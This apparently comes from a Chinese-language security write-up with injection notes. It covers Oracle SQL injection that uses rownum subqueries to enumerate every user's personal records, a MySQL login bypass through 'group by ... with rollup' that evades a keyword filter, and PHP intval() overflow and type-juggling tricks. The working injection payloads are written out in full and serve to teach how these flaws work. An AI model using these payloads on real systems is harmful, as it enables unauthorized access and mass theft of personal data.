Oracle 注入与 rownum
某查询系统,输入姓名、证件号,可查询个人信息。
后台 SQL 语句:
select * from users where XM='用户输入的姓名' and ZJH in (upper('用户输入的证件号'),'用户输入的证件号',lower('用户输入的证件号'));
ZJH
被函数包裹不容易注入,故选择在XM
进行注入。
由于 Oracle 数据库的union select
限制极其严格,而使用order by
发现有 60 个字段。
一个个尝试数据类型的匹配需要消耗很长的时间,故不考虑查询dual
表。
若只知道姓名,可用如下 payload 进行注入:
某人的姓名' --
SQL 语句等价于:
select * from users where XM='某人的姓名';
如此,只知道姓名也可成功登录。
但是XM
是一个外键,包括重名的情况,查询结果可能会有多条。
经过测试,后台会取查询出来的临时表的第一条,作为登录的用户。
以下 payloads 查询出所有拥有某个相同姓名的用户:
重名者姓名' and XH>'0' order by XH --
重名者姓名' and XH>'上个查询结果的学号' order by XH --
重名者姓名' and XH>'上个查询结果的学号' order by XH --
重名者姓名' and XH>'上个查询结果的学号' order by XH --
......
学号XH
是主键,在查询时根据学号排序,使得第一条结果是所有结果中XH
最小的。
每次查询,获得当前用户的XH
,缩小下次查询的范围,直到查出所有重名者信息为止。
在不知道所有人任何信息的情况下,可使用如下 payloads 配合脚本,查出数据库中所有的个人信息:
' OR XH=(select XH from (select XH from users where XH>'0' order by XH) where rownum=1) --
' OR XH=(select XH from (select XH from users where XH>'上个查询结果的学号' order by XH) where rownum=1) --
' OR XH=(select XH from (select XH from users where XH>'上个查询结果的学号' order by XH) where rownum=1) --
' OR XH=(select XH from (select XH from users where XH>'上个查询结果的学号' order by XH) where rownum=1) --
......
经测试,当后台接收的查询结果大于3600
条左右时,会出现溢出报错。
若把所有XH
大于某个值的用户都查出来,符合条件的结果数量会超出后端 Java 的处理范围。
而 Oracle 不支持 MySQL 的limit
语句,故使用嵌套查询与rownum
来实现类似于limit
的功能。
rownum
是 Oracle 特有的字段,查询出来的临时表的所有结果都有一个rownum
。
用内层查询查询出一个庞大的结果,根据rownum
取出第一条的主键XH
进行外层查询。
这样查询出来的结果只有一条,传入后端 Java 时,不会报错。
巧用 group by with rollup
后台 PHP 通过如下语句查询出某个账号的密码:
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
若查询结果与 POST 上去的密码一致时即可登录。
过滤了以下关键词:
and
select
from
where
union
join
sleep
benchmark
,
(
)
可在用户名uname
中构造如下 payloads:
' or 1 group by pwd with rollup limit 1 offset 0 --
' or 1 group by pwd with rollup limit 1 offset 1 --
' or 1 group by pwd with rollup limit 1 offset 2 --
......
SQL 语句变为:
SELECT * FROM interest WHERE uname='' or 1 group by pwd with rollup limit 1 offset X;
uname=''
or1
为真,查询的结果是整张表的所有数据,以pwd
字段分组。
with rollup
会建立一个pwd
字段值为空的行,通过limit
与offset
找到该行。
POST 一个空的密码,与查询结果比较,空=空,绕过登录。
PHP 数据类型自动转换与 intval() 溢出
要求输入一个不为回文串的字符串$req["number"]
,需满足:
intval(strrev($req["number"]))==intval($req["number"])
$req['number']==strval(intval($req['number']))
若参数为一个字符串,且字符串中数字的值大于2147483647
时,函数intval()
会返回2147483647
。
若输入"2147483647"
:
非回文串
intval("2147483647")
=intval("7463847412")
=2147483647
符合条件。
这个方法仅限于32位系统下的情况,但是当环境为64位时,上限则是9223372036854775807
,反转后的数值没有超出上限。
由于 PHP 是弱类型语言,它可以根据运行环境的变化而自动进行数据类型的转换。
规则如下:
1.1 转为布尔型(即返回值为0)
空字符串''或""
数字0或0.0 字符'0'或"0"
空值NULL 没有成员的数组
其余都转换成布尔型true,包含资源
1.2 转为整数或浮点型
如果字符串为合法的数字字符串,则直接转换成整型/浮点型
如果字符串中包含.或e或E,则转换成浮点型;否则转换成整型
非法的数字字符串转换成数值0
布尔型true转换成数字1,false转换成数字0
空值null将转换成数字0
1.3 转为字符串型
数值将直接转换成数字字符串
布尔型的true转换成字符"1";false转换空字符串
数组将转换成字符串Array
资源将转换成Resource id#数字
空值null将转换成空字符串
如下面这段代码的输出结果是 yes:
<?php
if("0e-0"=="0" && "-0"=="0")
echo 'yes';
?>
故可以输入"-0"
:
非回文串
intval("-0")
=intval("0-")
=0
"-0"
=="0"
为真
符合条件。
也可以使用科学计数法,输入"0e-0"
:
非回文串
intval("0e-0")
=intval("0-e0")
=0
"0e-0"
=="0"
为真
符合条件。